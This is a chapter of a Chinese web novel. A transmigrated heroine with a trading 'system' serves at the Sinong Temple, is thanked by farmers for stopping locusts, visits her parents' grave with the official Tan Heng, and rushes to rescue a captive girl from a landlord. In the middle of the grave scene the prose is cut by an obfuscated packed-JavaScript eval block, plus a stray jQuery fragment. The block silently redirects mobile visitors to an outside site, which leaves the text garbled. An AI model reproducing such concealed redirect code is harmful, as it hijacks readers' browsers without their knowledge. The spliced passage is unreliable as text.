秋风瑟瑟,却没吹来湿润,只席卷过闷热的浪潮。
绛宜换了一身新制的常服,沐浴过后,小脸显得更加俏丽。
她正悄悄打量着司农寺,这里官吏倒对她见怪不怪,谈珩对外只说她的职务是整理文书,严格说起来,还没有正式在司农寺领职。
绛宜垂下眼,坐在一方案几下,开始浏览这几年灾情的情况。
只说旱灾,非一朝一夕能改变,以后的蝗灾没有系统出品的杀虫剂可能并不能有今日这么好的效果,为今之计,只有种耐旱又防蝗虫的粮食。
在系统里打量一圈,绛宜挑中了红薯,产量高,一亩能产六石,有了它,也许用不了多久,百姓们便不用再忍饥挨饿,
只是还需想个办法,堂而皇之地让这红薯被发现,至少得哄过谈珩这冷心冷情的。
想到那张冰块脸儿,绛宜赶紧摇摇头,开始整理文书。
她不觉这工作枯燥,一脸热情,倒是惹了司农寺其他小吏的眼。
“也不知这女娃是怎么攀了谈大人的关系,一个女儿家,也配进司农寺?”
“哼,老夫就看不得这不守礼法之事!”
绛宜不是没有听见角落一群男子的窃窃私语,她只笑盈盈道:“几位若是将谈大人要求好的文书起草好了,再堂而皇之小憩啊。”
她面带笑容,语气却急转直下,惊得一群人立刻闭嘴,转头去完成谈珩要求地考察附近农田蝗灾受损情况。
绛宜在心里清哼,门口却来了个熟人,吊儿郎当地斜靠门前,朝绛宜露出一个意味不明的笑:“小薛大人,还在忙呢?”
见是顾慎,绛宜恭敬道:“您找我有事?谈大人下朝了?”
“谈大人的行踪本官可不知晓,只是有人找你罢了。”顾慎指了指楼下。
有人找她?绛宜皱着眉头,原主在此世可谓一个亲人都没有了,灵光一闪,似乎她昨晚还救了个叫秋月的姑娘。
匆匆出门,等在楼下的却是一群农人,其中有几张脸,还是她昨日见过的。
“出来了!小薛大人出来了!”
安静地人群顿时爆发欢呼,一群人蜂拥着围了过来,将她请下楼,绛宜正一头雾水,只好又晕开颊边浅浅两个梨涡。
【检测到纯天然无污染粟米,售价十积分,是否售卖】
【检测到纯天然无污染雪梨,售价二十积分,是否售卖。】
……
系统提示音不断响起,各种各样的装着粮食水果的篮子被塞在她怀里,只好说:“不用送啦,不用送啦,谢谢大家!”
“这怎么行?昨日咱们都亲眼看见啦,你带着大家往地里撒那什么灰,蝗虫就不来吃麦子了。”
“是啊,姑娘,你可是我们的大恩人呐!”
绛宜心暖暖的,却着实被挤得喘不过气来。
隔着人群,有一道低沉又显得暗哑的嗓音响起:“小薛大人还要要职在身,诸位的心意,想必她已经收到了。”
他的声音虽冷,却有安抚人心的作用,人群散开,绛宜几乎抱不住怀里的东西,就要往后一跌,手上却一轻,彻底没了支撑力气,摔在地上。
绛宜因尾椎骨传来的痛意而疼得泪花盈盈,抬眼看去,只见是谈珩那张极为清俊的面容,本应该是谦谦君子的模样,只是眉眼冷硬,此时落在绛宜身上的视线,却顿了一下。
“为何哭?”谈珩像是没反应过来,他手里还挎着一堆篮子,方才见绛宜要没站稳,担忧村民一片心意浪费,便先接过了篮子,却没料到姑娘此刻水眸潋滟,似嗔似怨。
谈珩只好道:“男女授受不亲,我不宜扶你。”
他没有再自称“本官”,地上的姑娘却仍不起来,周围的百姓看到这一幕,左右窃窃私语,谈珩只好蹲下身子,试图语气温和一点,“我非有意,见罪小薛大人,还请小薛大人原谅。”
“疼……”绛宜倒是想站起来说话,只是一连几天都受了伤,她只觉轻微一动,便扯住了伤口。
谈珩见她神色不似作伪,还是伸手过来,只隔着一截衣袖触碰了她的手腕,他力气极大,滚烫的温度刚从布料传来,绛宜整个人便已经被谈珩单手提起。
他立刻要松了手,绛宜忍痛站稳,一把夺过那些篮子,终究是生了点怨,她语气也不好听:“谈大人既然要全了礼节,又何必扶我,若要扶我,为何又放开,下官可不想因大人再摔一次。”
人群自动为他们让开一条道,绛宜脚下生风,不管不顾地就往前走,只是明显腿脚不变,眼看又要摔倒,还好顾慎候在一旁,虚扶了一把。
“谈大人,你可真是一点也不怜香惜玉呀。”顾慎笑嘻嘻地朝谈珩道。
谈珩不知作何言语,眸光在绛宜和顾慎身上打量一圈,突然上前,扶住了绛宜。
“哎呀,下官可不在乎礼仪,为了谈大人名声,还是让下官来扶吧。”顾慎继续拱火,绛宜感觉谈珩的手力道都重了两分。
“不用。”谈珩眸光冷然,又扶着绛宜上了候在一旁的马车。
她看着谈珩动作,等帷帘放下,俩人处在同一方静谧的空间,才开口道:“大人可知昨日,下官在这车外下首,思考着如何告诉大人蝗灾救治之法。”
她嗓音平和,并未有任何怨怼,不由得让谈珩侧目。
绛宜的眸光由变成谈珩熟悉,也可以说是陌生的明亮:“因下官昨日是民女,大人便觉可不听下官谏言,今日大人又觉下官是女子,惶恐于与下官接触。”
她顿了一下:“下官受大人所邀来到司农寺,便只把自己当成一名为民之官,希望大人对我,只当成是一名可以听取建议的下属,而不会因旁的身份便对下官有别的意见。”
绛宜托出这些早有考量,她以女子之身入司农寺,势必遭受其他官吏反对,如果谈珩也因她是女子便轻瞧她,那司农寺着实没有待下去的必要。
见她神色认真,谈珩刚想解释的话便咽了回去,点了点头:“好。”
车内缓缓安静了下来,俩人都没有再出声。
绛宜打量着车内的布置,只觉甚至比原主住的屋子还要宽敞,内置一张矮桌,谈珩便伏案处理公务。
车轮滚动,绛宜也不觉有不舒服,只是太过无趣,盯着谈珩看了又看,他睫毛浓密,垂下来时会在脸的下方形成小扇形的阴影。
谈珩提笔,睫毛轻颤了一下,绛宜被这颤动惊醒了,只偏头去看角落。
马车内只剩笔落在纸上之音。
绛宜愈发坐立难安,便主动打破了沉默:“大人这是要带我去哪儿?”
谈珩从公案中抬起头,便瞧见绛宜神色不安:“今日是重阳节。”
绛宜目光一凝,突然掀起帷帘,朝窗外探去,翻找着原主的记忆,发现这是去原主父母坟墓的路。
她心情低落下来:“多谢大人。”
马车停下,绛宜亲自去采买了白菊,要靠近墓前时,谈珩便不再上前。
绛宜把鲜花堆在墓前,又扫去坟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627013|143542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
墓上杂草,只看着墓碑发呆。
她缓缓跪下,磕了三个响头,在心里小声说道:“我虽不是薛绛宜,但既然占了她的身子,定会为她报仇,也一定会让农人们……不再饿死,家家都有饭吃!”
谈珩远远看着,女子背影有些寂寥,秋风吹过落叶,缓缓落在她单薄的背影之后。
这是一个很坚韧的女子,以她的遭遇,心中必有重担,可她却常以笑示人,甚至匡扶百姓。
谈珩又想起那双眼睛,盈着星星点点的泪光,却灼灼明亮,只觉有什么在心底动了一下,再去找,已是一汪平静湖水。
落叶拂过绛宜肩头,从沉重的情绪中缓了过来,绛宜正要起身,却在角落的土地里看到一个黑影。
绛宜仔细看过去,才发现是竹片大半截埋在土里,若不是绛宜跪着,恐怕都注意不到,她沉下脸色,挖开周围的土,取出竹片,上面的字迹歪歪扭扭:“刘,秋,救。”
还有些字迹掩埋过后看不清,绛宜念着这三个字,一瞬明白了过来。
这是秋月在求救?
刘姓,她只认识一位刘老爷。
秋月这是赌定原主一定会来扫墓,才将这竹片埋在角落吗?
绛宜一颗心重重坠地,迅速收好竹片,她抬脚先朝谈珩行了一礼:“多谢大人今日带绛宜来此,否则绛宜会抱憾终生……”
谈珩见她眉间萦着戾气,手里满是碎土,握紧了一张竹片,沉默一瞬,掏出一方帕子递了过去,然后道:“先擦擦,发生什么事了。”
绛宜接过胡乱一擦,终是心绪不宁:“大人与那刘姓地主见过面,应该知晓他的脾性,许是下官受了大人庇佑,他奈下官不了如何,便将手伸到了下官好友身上。”
谈珩见她擦得不甚认真,只好接过帕子,重新握住绛宜的手,从指缝到指尖每一处都擦净了,叠好帕子后,就只见绛宜发丝下略红的耳朵,但已经咧开笑容:“不是说……”
免得她在说些什么误会的话,谈珩道:“你如今是司农寺的人,若有人执意对你出手,便是对司农寺行事有不满了。”
绛宜心尖一跳,明白了谈珩的意思,感恩之际,她点开了系统,浏览哪颗红薯最大最好,到时候保管给谈珩一个惊喜。
.
刘府。
家丁们运着一袋又一袋的粮食收进库房,来来回回好几次,个个几乎腰酸背痛。
有人忍不住问:“老爷哪里来的这么多粮食?”
“问这么多干什么?老爷让我们这么做,就尽管做好了,许是收的地租吧,不是说又涨了……”
此时的刘府火热连天,刘老爷在屋内一边算账一边止不住的感慨:“还是徐大人让人放心,这赈灾粮啊给那些佃农真是浪费了,不如给我收着,一群畜牲,死了就就死了,还浪费粮食干什么。”
说着又叫门口的小厮拿上银子去徐府走一趟。
秋月浑身被绑着缩在角落,耳朵听着这些话,惊恐地睁大了眼睛,刘老爷见她情绪激动,嘿嘿笑了一下,朝她蹲下,拍了拍她的脸:“你倒是能跑,还知道跑山上去,如今吴妈可把你卖身契给我了,不管什么大人,也救不了你!”
他狞笑着伸出手,门口却有急促的脚步声,守门的家丁大喊一声“老爷——”,绛宜便破开了门,一把刀飞了过来,直直插在二人中间。
绛宜露出个笑:“当是谁呢?本官刚才在路上见到一个偷摸小贼,截获了一封信和不少银子,不知老爷感兴趣吗?”